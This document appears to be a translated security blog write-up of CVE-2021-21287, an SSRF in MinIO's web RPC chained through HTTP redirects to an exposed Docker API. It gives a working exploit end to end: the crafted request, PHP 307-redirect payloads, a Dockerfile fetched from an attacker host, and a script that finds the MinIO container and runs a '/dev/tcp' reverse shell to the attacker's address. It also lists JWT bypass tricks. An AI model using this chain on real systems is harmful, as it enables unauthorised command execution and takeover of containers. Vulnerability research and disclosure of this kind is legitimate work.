Minio Ssrf Vulnerability Cve 2021 21287
MinIO SSRF Vulnerability CVE-2021-21287
Vulnerability Description
As some environments in work and life gradually migrate to the cloud, the demand for object storage has gradually increased. MinIO is an open source object storage system that supports deployment in the private cloud.
Vulnerability Impact
MinIO
Vulnerability reappears
Since we have chosen to start with MinIO, let’s first learn about MinIO.
Then start with the entry point (front-end interface).
When the User-Agent satisfies the regular .*Mozilla.*
, we can access the front-end interface of MinIO. The front-end interface is a JsonRPC that is implemented by itself:
What we are interested in is its authentication method. We can find an RPC method at will. We can see that it calls webRequestAuthenticate
at the beginning. Follow up and find that jwt authentication is used here:
The common attack methods of jwt are mainly as follows:
Set alg to None, tell the server not to perform signature verification
If alg is RSA, you can try to modify it to HS256, that is, tell the server to use the public key to verify the signature.
Detonation Signature Key
Looking at MinIO’s JWT module, I found that alg was checked and only the following three signature methods were allowed:
This blocks the first two bypass methods, let alone blasting, which is usually only a means when there is no way.
There is no breakthrough in authentication, so we can see which RPC interfaces do not have permission verification.
A interface was quickly found, LoginSTS
.
The code simplifies it as follows:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// LoginSTS - STS user login handler.
func (web *webAPIHandlers) LoginSTS(r *http.Request, args *LoginSTSArgs, reply *LoginRep) error {
ctx := newWebContext(r, args, "WebLoginSTS")
v := url.Values{}
v.Set("Action", webIdentity)
v.Set("WebIdentityToken", args.Token)
v.Set("Version", stsAPIVersion)
scheme := "http"
// ...
u := &url.URL{
Scheme: scheme,
Host: r.Host,
}
u.RawQuery = v.Encode()
req, err := http.NewRequest(http.MethodPost, u.String(), nil)
// ...
}
No authentication bypass problem was found, but another interesting problem was found.
What’s wrong with this process?
Because the request header is user-controlled, any host can be constructed here, and then an SSRF vulnerability can be constructed.
Let’s test it out and send the following request to https://192.168.227.131:9000
, where the value of Host is the port that I open local ncat (192.168.1.142:4444
):
1
2
3
4
5
6
7
POST /minio/webrpc HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Content-Type: application/json
Content-Length: 80
{"id":1,"jsonrpc":"2.0","params":{"token": "Test"},"method":"web.LoginSTS"}
Received the request successfully:
It can be confirmed that there is an SSRF vulnerability here.
After careful observation, we can find that this is a POST request, but neither Path nor Body can control it. All we can control is a parameter WebIdentityToken
in the URL.
However, this parameter has been URL encoded and cannot inject other special characters such as newline characters.
Fortunately, Go’s default http library will track 302 jumps, and it’s both GET and POST requests.
Use PHP to simply construct a 302 jump:
1
2
<?php
header('Location: https://192.168.1.142:4444/attack?arbitrary=params');
Save it as index.php and start a PHP server:
Point the Host to this PHP server.
Some restrictions have been relaxed. Combined with my previous understanding of this intranet, we can try to attack the 2375 port of the Docker cluster.
2375 is the interface of the Docker API. It uses the HTTP protocol to communicate and will not listen to TCP addresses by default. This may be opened to the intranet address to facilitate the use of other intranet machines.
In the case of Docker unauthorized access, we can usually use docker run
or docker exec
to execute arbitrary commands in the target container (if you don’t understand, please refer to this article).
Both APIs are POST requests, while the SSRF we can construct is a GET.
Remember how we got this GET-type SSRF?
How to construct a Path-controllable POST request?
I thought of 307 jump. 307 jump is an HTTP status code defined in [RFC 7231] (https://tools.ietf.org/html/rfc7231#page-58), which is described as follows:
The 307 (Temporary Redirect) status code indicates that the target resource resides temporarily under a different URI and the user agent MUST NOT change the request method if it performs an automatic redirection to that URI.
The characteristic of 307 jump is that the method of the original request will not be changed. That is to say, when the server returns the 307 status code, the client will send a request for the same method according to the address pointed to by Location.
We can use this feature to get POST requests.
Simply modify the previous index.php:
1
2
<?php
header('Location: https://192.168.1.142:4444/attack?arbitrary=params', false, 307);
Trying an SSRF attack, I received the expected request:
Bingo, gets an SSRF with a POST request, although there is no Body.
Going back to the Docker API, I found that I still cannot use the run and exec APIs because both APIs need to transmit JSON format parameters in the requested Body, and our SSRF here cannot control the Body.
Continuing to flip through the Docker documentation, I found another API, Build an image:
Most of the parameters of this API are transmitted through Query Parameters, which we can control.
A Git repository URI or HTTP/HTTPS context URI. If the URI points to a single text file, the file’s contents are placed into a file called
Dockerfile
and the image is built from that file. If the URI points to a tarball, the file is downloaded by the daemon and the contents therein used as the context for the build. If the URI points to a tarball and thedockerfile
parameter is also specified, there must be a file with the corresponding path inside the tarball.
This parameter can be passed into a Git address or an HTTP URL, and the content is a Dockerfile, a Git project containing a Dockerfile or a compressed package.
That is, the Docker API supports building images by specifying remote URLs without requiring me to write a Dockerfile locally.
So, I tried writing a Dockerfile like this to see if I can build this image, and if so, then my port 4444 should receive a request from wget:
1
2
FROM alpine:3.13
RUN wget -T4 https://192.168.1.142:4444/docker/build
Then modify the previous index.php and point to port 2375 of the Docker cluster:
1
2
<?php
header('Location: https://192.168.227.131:2375/build?remote=https://192.168.1.142:4443/Dockerfile&nocache=true&t=evil:1', false, 307);
I carried out an SSRF attack, waited for a while, and I received the request:
Perfect, we can execute arbitrary commands in the target cluster container.
At this time, it is still a little short of our goal to win MinIO, and the subsequent attack is actually relatively simple.
Because we can execute any command now, we will no longer be restricted by the SSRF vulnerability. We can directly rebound a shell, or we can directly send any data packet to the Docker API to access the container.
So I wrote a script that automates attacking MinIO containers and puts them in the Dockerfile to attack when building them, and uses docker exec
to execute the command to bounce shells in MinIO containers.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
FROM alpine:3.13
RUN apk add curl bash jq
RUN set -ex && \
{ \
echo '#!/bin/bash'; \
echo 'set -ex'; \
echo 'target="https://192.168.227.131:2375"'; \
echo 'jsons=$(curl -s -XGET "${target}/containers/json" | jq -r ".[] | @base64")'; \
echo 'for item in ${jsons[@]}; do'; \
echo ' name=$(echo $item | base64 -d | jq -r ".Image")'; \
echo ' if [[ "$name" == *"minio/minio"* ]]; then'; \
echo ' id=$(echo $item | base64 -d | jq -r ".Id")'; \
echo ' break'; \
echo ' fi'; \
echo 'done'; \
echo 'execid=$(curl -s -X POST "${target}/containers/${id}/exec" -H "Content-Type: application/json" --data-binary "{\"Cmd\": [\"bash\", \"-c\", \"bash -i >& /dev/tcp/192.168.1.142/4444 0>&1\"]}" | jq -r ".Id")'; \
echo 'curl -s -X POST "${target}/exec/${execid}/start" -H "Content-Type: application/json" --data-binary "{}"'; \
} | bash
What this script does is relatively simple. One is to traverse all containers. If you find that the name of its mirror contains minio/minio
, you think that this container is the container where MinIO is located.
Finally, successfully get the shell of the MinIO container